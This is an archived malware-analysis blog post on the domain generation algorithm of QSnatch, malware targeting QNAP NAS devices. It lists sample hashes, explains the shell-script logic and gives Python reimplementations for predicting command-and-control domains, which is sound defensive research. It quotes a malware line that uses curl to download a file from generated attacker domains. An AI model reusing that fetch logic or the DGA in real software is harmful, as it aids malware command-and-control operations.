{
	"id": "281e74e6-dc6b-445a-aa54-5c5526161660",
	"created_at": "2026-04-06T00:18:20.130928Z",
	"updated_at": "2026-04-10T03:20:28.945385Z",
	"deleted_at": null,
	"sha1_hash": "8ed06f05e32a6dc22e26de4c1ea9588322aa334b",
	"title": "The DGA of QSnatch",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 95395,
	"plain_text": "The DGA of QSnatch\r\nArchived: 2026-04-05 19:10:24 UTC\r\nQSnatch is a malware that infects QNAP NAS devices. It collects and exfiltrates user credentials from vulnerable devices,\r\nand can also load malicious code from its command and control (C2) servers. These C2 servers are resolved by\r\nalgorithmically generated domains.\r\nThe National Cyber Security Centre of Finland (NCSC-FI) published an article about QSnatch in late October 2019 and\r\nmade the threat known, but samples on Virustotal date back to at least June 2019.\r\nI found seven different QSnatch samples with two different DGAs. Both versions are very similar, with one being a simpler\r\nversion of the other. I called the more complicated version Version A and the simpler one Version B. QSnatch is implemented\r\nas shell scripts so it is trivial to reimplement the DGA in Python.\r\nVersion A\r\nThese are two samples with the more complicted version of the DGA from Virustotal. This version of QSnatch comes with a\r\ntimestamp as version information:\r\nMD5\r\n372140d7c2c68dc2c8dc137d1a471e9f\r\nSHA1\r\n986f38a04937ede2000e8f25e59ea438ee265e24\r\nSHA256\r\n3c38e7bb004b000bd90ad94446437096f46140292a138bfc9f7e44dc136bac8d\r\nVersion Timestamp\r\n2019-03-20 5:00 UTC\r\nSize\r\n41KB, 41655 Bytes\r\nUploaded to Virustotal\r\n2019-11-04 13:39:51 UTC\r\nand this sample (which is also the one currently delivered as of 2019-11-14 11:00 UTC):\r\nMD5\r\n60567a1d2b2e02e93ffc162e6a70d60c\r\nSHA1\r\n1f1bf0bd2df89029d5267130f014ab5aa133c3ae\r\nSHA256\r\n9526ccdeb9bf7cfd9b34d290bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2\r\nVersion Timestamp\r\n2019-05-17 5:00 UTC\r\nSize\r\n41KB, 41104 Bytes\r\nUploaded to Virustotal\r\n2019-06-09 22:56:07 UTC\r\nBoth samples have a timestamp set to exactly 05:00 UTC, which could mean that the timestamp is in fact a simple date\r\nwithout time information, generated in a timezone UTC+5.\r\nThe DGA generates domains like the following:\r\nt2q2r.cf\r\ngc9nz.tk\r\n07tvvc.com\r\n7ubqo.ml\r\n53bcm.de\r\n6zltf.rocks\r\nhv7uv.mx\r\nnypno.biz\r\nqkzccy.net\r\nrassb.cn\r\nBash\r\nhttps://bin.re/blog/the-dga-of-qsnatch/\r\nPage 1 of 6\n\nThe following screenshots shows the shell script lines responsible for generating the domains:\r\nIn the following I will briefly discuss the main components of the DGA.\r\nTLDs\r\nThe complicated version of the DGA of QSnatch uses a whopping 145 top level domain, including many gTLDS like\r\nrocks , mobi , today ; and a few sld/tld-tuples where domain registrations are only possible on the third level, like\r\n.com.ua , .com.bn , .com.by . The domains are listed in a space separated string as tld/number-pairs divided by colons:\r\ndomainexts='cf:0 tk:0 com:1 ml:0 de:0 rocks:0 mx:0 biz:0 ...``\r\nThe number next to the domain specifies the number of extra characters in the hostname. In the analysed sample, .com ,\r\n.net and .org have 1 extra character specified, meaning their hostname has one extra character compared the remaining\r\ntlds, which all have 0 extra characters set.\r\nThe script has a bug for the domain .com.bn which is listed with a leading dot, resulting in invalid domains with doubled\r\npoints, e.g., r4rb..com.bn .\r\nDomain Timespans\r\nThe generated domains have different validities of 15 days (1296000 seconds) down to 1 hour (3600 seconds). The DGA\r\ngenerates domains for all specified intervals starting with the largest timespan.\r\nfor interval in '1296000' '432000' '86400' '28800' '7200' '3600'; do\r\nHostname Lengths\r\nThe hostnames have varying lengths, which are calculated by adding a global length value and the number next to the list of\r\ntop level domains. The global lengths are 5, 3, then 4. As a result, .cf hostnames have a length of 3 to 5, while .com\r\nhostnames have a length of 4 to 6.\r\nfor length in 5 3 4; do\r\nhttps://bin.re/blog/the-dga-of-qsnatch/\r\nPage 2 of 6\n\nIterating over all TLDs\r\nThe third loop iterates over all top level domains.\r\nn=0; while [ \"$n\" -lt $domainextcnt ]; do\r\nTime permitting, the DGA generates 6 (number of timespans) * 3 (number of hostname lengths) * 145 (number of tlds) =\r\n2610 domains.\r\nAborting Domain Generation\r\nBefore looping over the top level domains, the DGA checks if more than 10 minutes (600 seconds) passed since starting a\r\ntimespan block. If ten minutes elapsed, then generating domains for that particular timespan is aborted, unless it is the last\r\ntimespan:\r\ntest \"$(( $timenow - $timestart ))\" -gt 600 \u0026\u0026 test \"$interval\" != \"3600\" \u0026\u0026 break\r\nHostname String Generation\r\nThe following command generates the string which is later trimmed into a hostname:\r\nhostname=$(echo \\\r\n \"$(( $(date +%s) / $interval ))IbjGOEgnuD${ext}\" | \\\r\n openssl dgst -sha1 -binary | \\\r\n openssl base64 | \\\r\n sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g')\r\n1. The command ($(date +%s) / $interval ) divides the current unix timestamp by the timespan length.\r\n2. The seed IbjGOEgnuD and the top level domain ${ext} are appended to the string from Step 1.\r\n3. openssl dgst -sha1 -binary generates the SHA1-hash of the string (including a newline character \\n from the\r\necho command).\r\n4. openssl base64 converts the hash into base64.\r\n5. sed 'y/.../;s/=//g') converts the base64 string into lowercase, replaces - , + and \\\\ with a , b and c\r\nrespectively, and removes = -padding.\r\nTrimming to desired length\r\nNext, the hostname is trimmed to the desired length. The length can not be smaller than 3, which is never the case for the\r\nconfigured lengths:\r\ntrycnt=0\r\nwhile [ ${#host} -gt \"$l\" ] \u0026\u0026 [ $trycnt -lt 3 ]; do\r\n trycnt=$(( $trycnt + 1 ))\r\n host=${host%?}\r\ndone\r\nConcatenating the Hostname and SLD\r\nFinally, the hostname and tld are joined to produce the DGA domain:\r\ncurl --connect-timeout \"$curlconntimeout\" -m 30 -k -o \"$outfile\" \"https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)\"\r\nPython\r\nThis is a reimplementation of Version A of the DGA in Python 3:\r\nimport time\r\nimport hashlib\r\nimport base64\r\nimport argparse\r\nfrom datetime import datetime\r\nTLDS = {\r\n \"cf\": 0, \"tk\": 0, \"com\": 1, \"ml\": 0, \"de\": 0, \"rocks\": 0, \"mx\": 0,\r\nhttps://bin.re/blog/the-dga-of-qsnatch/\r\nPage 3 of 6\n\n\"biz\": 0, \"net\": 1, \"cn\": 0, \"ga\": 0, \"gq\": 0, \"org\": 1, \"top\": 0, \"nl\": 0,\r\n \"men\": 0, \"ws\": 0, \"se\": 0, \"info\": 0, \"xyz\": 0, \"today\": 0, \"ru\": 0,\r\n \"ec\": 0, \"co\": 0, \"ee\": 0, \"rs\": 0, \"com.sv\": 0, \"com.cy\": 0, \"co.zw\": 0,\r\n \"kg\": 0, \"com.ge\": 0, \"tl\": 0, \"name\": 0, \"tw\": 0, \"lv\": 0, \"bs\": 0,\r\n \"li\": 0, \"ng\": 0, \"ae\": 0, \"bt\": 0, \"tv\": 0, \"pe\": 0, \"uz\": 0, \"me\": 0,\r\n \"gy\": 0, \"am\": 0, \"kr\": 0, \"by\": 0, \"fr\": 0, \"com.uy\": 0, \"com.lb\": 0,\r\n \"com.br\": 0, \"vu\": 0, \"hk\": 0, \"in\": 0, \"re\": 0, \"ch\": 0, \"af\": 0,\r\n \"com.ps\": 0, \"ug\": 0, \"dz\": 0, \"pro\": 0, \"co.th\": 0, \"sg\": 0, \"cd\": 0,\r\n \"so\": 0, \"mo\": 0, \"co.id\": 0, \"co.il\": 0, \"com.do\": 0, \"ke\": 0, \"cx\": 0,\r\n \"ro\": 0, \"id\": 0, \"pm\": 0, \"hm\": 0, \"vg\": 0, \"az\": 0, \"com.eg\": 0, \"bz\": 0,\r\n \"su\": 0, \"com.ar\": 0, \"gg\": 0, \"com.lr\": 0, \"pa\": 0, \"com.ve\": 0, \"al\": 0,\r\n \"fm\": 0, \"to\": 0, \"mu\": 0, \"co.ck\": 0, \"pk\": 0, \"co.rs\": 0, \"cw\": 0,\r\n \"nr\": 0, \"gd\": 0, \"gl\": 0, \"ac\": 0, \"lk\": 0, \"md\": 0, \"fi\": 0, \"sx\": 0,\r\n \"lc\": 0, \"es\": 0, \"cc\": 0, \"cm\": 0, \"la\": 0, \"co.za\": 0, \"je\": 0, \"cz\": 0,\r\n \"jp\": 0, \"ai\": 0, \"pw\": 0, \"bg\": 0, \"nu\": 0, \"ag\": 0, \"bm\": 0, \"eu\": 0,\r\n \"com.my\": 0, \"sc\": 0, \"ax\": 0, \"wf\": 0, \"ly\": 0, \"qa\": 0, \"vn\": 0, \"aq\": 0,\r\n \"mobi\": 0, \"com.tr\": 0, \"com.ua\": 0, \"com.py\": 0, \"hk.org\": 0,\r\n \"south.am\": 0, \"com.kh\": 0, \"co.zm\": 0, \"ru.net\": 0, \"com.km\": 0, \"tt\": 0,\r\n \"kn\": 0, \"co.ls\": 0, \"co.fk\": 0, \"uy.com\": 0, \"com.gu\": 0, \".com.bn\": 0,\r\n \"com.pf\": 0, \"com.fj\": 0\r\n}\r\nSEED = \"IbjGOEgnuD\"\r\ndef dga(date):\r\n def unix(date):\r\n unix = int(time.mktime(date.timetuple()))\r\n return unix\r\n HOUR = 3600\r\n DAY = 24*HOUR\r\n for interval in [15*DAY, 5*DAY, 1*DAY, 8*HOUR, 2*HOUR, 1*HOUR]:\r\n for length in [5, 3, 4]:\r\n for tld, l in TLDS.items():\r\n min_length = l + length\r\n key = f\"{unix(date)//interval}{SEED}{tld}\\n\".encode('ascii')\r\n key_hash = hashlib.sha1(key).digest()\r\n key_hash_b64 = base64.b64encode(key_hash).decode('ascii')\r\n key_hash_b64_noeq_lc = key_hash_b64.rstrip(\"=\").lower()\r\n trantab = str.maketrans(\"-+/\", \"abc\")\r\n hostname_src = key_hash_b64_noeq_lc.translate(trantab)\r\n hostname_len = max(min_length, 3)\r\n hostname = hostname_src[:hostname_len]\r\n domain = f\"{hostname}.{tld}\"\r\n yield domain\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(description=\"QSnatch dga\")\r\n parser.add_argument(\r\n \"-d\", \"--datetime\",\r\n help=\"date time for which to generate domains, e.g., \"\r\n \"2019-11-11 18:00:00\")\r\n args = parser.parse_args()\r\n if args.datetime:\r\n d = datetime.strptime(args.datetime, \"%Y-%m-%d %H:%M:%S\")\r\n else:\r\n d = datetime.now()\r\n for domain in dga(d):\r\n print(domain)\r\nVersion B\r\nVersion B of the DGA is simpler than the previously described version. I found these five samples on Virustotal that use the\r\nsimpler version of the DGA:\r\nhttps://bin.re/blog/the-dga-of-qsnatch/\r\nPage 4 of 6\n\nMD5 SHA1 SHA256\r\n8cee2a187198648c199c1d135c918a3a a9f39f3b832344a79d32d92ac56c50cdaff0b93c 09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2\r\nc49ac8cfe022ff6acb8eb0036e2fc1a1 e30ce38ff0ce46d8256d06fb3d5e13bf3abb1012 5cb5dce0a1e03fc4d3ffc831e4a356bce80e928423b374fc8\r\n4affa116b27f2d977a756e353f77b8f5 e8bb081056542504b5a69bd5f202cf77fac0a64f 8fd16e639f99cdaa7a2b730fc9af34a203c41fb353eaa250a5\r\n421f006756f72cabc1ffb796c6cdb5c0 5ca92d6f02019519de593758583d7ca5a4bf9f23 5130282cdb4e371b5b9257e6c992fb7c11243b2511a6d418\r\n421240952a097e904df778590caa9668 58523de660632c6b84ffbd243cc75f4fb576980a 15892206207fdef1a60af17684ea18bcaa5434a1c7bdca55f\r\nExamples of domains of this DGA are:\r\nt2q2rs.cf\r\nt2q2rsa.cf\r\nt2q2rsaz.cf\r\nt2q2rsazo.cf\r\nt2q2rsazo1.cf\r\ngc9nzf.tk\r\ngc9nzfb.tk\r\ngc9nzfbt.tk\r\ngc9nzfbt3.tk\r\ngc9nzfbt3i.tk\r\nBash\r\nThese are the lines of QSnatch that generate the domains:\r\nThe DGA uses fewer tlds, without tld-specific hostname length specifiers. The algorithm only uses one timespan (15 days).\r\nIt uses more hostname lengths (6, 7, 8, 9 and 10) which are generated one after another for a specific hostname pattern.\r\nThe generation of the string for the hostname is the same as for the more complicated DGA version, including the seed\r\nIbjGOEgnuD . Because Version A mostly uses hostname lengths of 5 and shorter, while Version B uses lengths of 6 up to 10,\r\nonly some domains from Version A with an extra character overlap with Version B ( .com , .net , .org ). For example,\r\n07tvvc.com is a valid domain for both DGAs.\r\nhttps://bin.re/blog/the-dga-of-qsnatch/\r\nPage 5 of 6\n\nPython\r\nimport time\r\nimport hashlib\r\nimport base64\r\nimport argparse\r\nfrom datetime import datetime\r\nTLDS =[\r\n 'cf', 'tk', 'ml', 'ga', 'gq', 'com', 'biz', 'org', 'de', 'rocks',\r\n 'mx', 'cn', 'top', 'nl', 'men', 'ws', 'se', 'info', 'xyz', 'net', 'today',\r\n 'ru', 'fi', 'name', 'to', 'in', 'com.ua', 'vg', 'vn', 'cd'\r\n]\r\nSEED = \"IbjGOEgnuD\"\r\ndef dga(date):\r\n def unix(date):\r\n unix = int(time.mktime(date.timetuple()))\r\n return unix\r\n HOUR = 3600\r\n DAY = 24*HOUR\r\n INTERVAL = 15*DAY\r\n for tld in TLDS:\r\n key = f\"{unix(date)//INTERVAL}{SEED}{tld}\\n\".encode('ascii')\r\n key_hash = hashlib.sha1(key).digest()\r\n key_hash_b64 = base64.b64encode(key_hash).decode('ascii')\r\n key_hash_b64_noeq_lc = key_hash_b64.rstrip(\"=\").lower()\r\n trantab = str.maketrans(\"-+/\", \"abc\")\r\n hostname_src = key_hash_b64_noeq_lc.translate(trantab)\r\n for hostname_len in range(6, 11):\r\n hostname = hostname_src[:hostname_len]\r\n domain = f\"{hostname}.{tld}\"\r\n yield domain\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(description=\"QSnatch DGA Version 1\")\r\n parser.add_argument(\r\n \"-d\", \"--datetime\",\r\n help=\"date time for which to generate domains, e.g., \"\r\n \"2019-11-11 18:00:00\")\r\n args = parser.parse_args()\r\n if args.datetime:\r\n d = datetime.strptime(args.datetime, \"%Y-%m-%d %H:%M:%S\")\r\n else:\r\n d = datetime.now()\r\n for domain in dga(d):\r\n print(domain)\r\nYou also find both versions of the QSnatch DGA in my collection of domain generation algorithms on GitHub.\r\nSource: https://bin.re/blog/the-dga-of-qsnatch/\r\nhttps://bin.re/blog/the-dga-of-qsnatch/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://bin.re/blog/the-dga-of-qsnatch/"
	],
	"report_names": [
		"the-dga-of-qsnatch"
	],
	"threat_actors": [],
	"ts_created_at": 1775434700,
	"ts_updated_at": 1775791228,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/8ed06f05e32a6dc22e26de4c1ea9588322aa334b.pdf",
		"text": "https://archive.orkl.eu/8ed06f05e32a6dc22e26de4c1ea9588322aa334b.txt",
		"img": "https://archive.orkl.eu/8ed06f05e32a6dc22e26de4c1ea9588322aa334b.jpg"
	}
}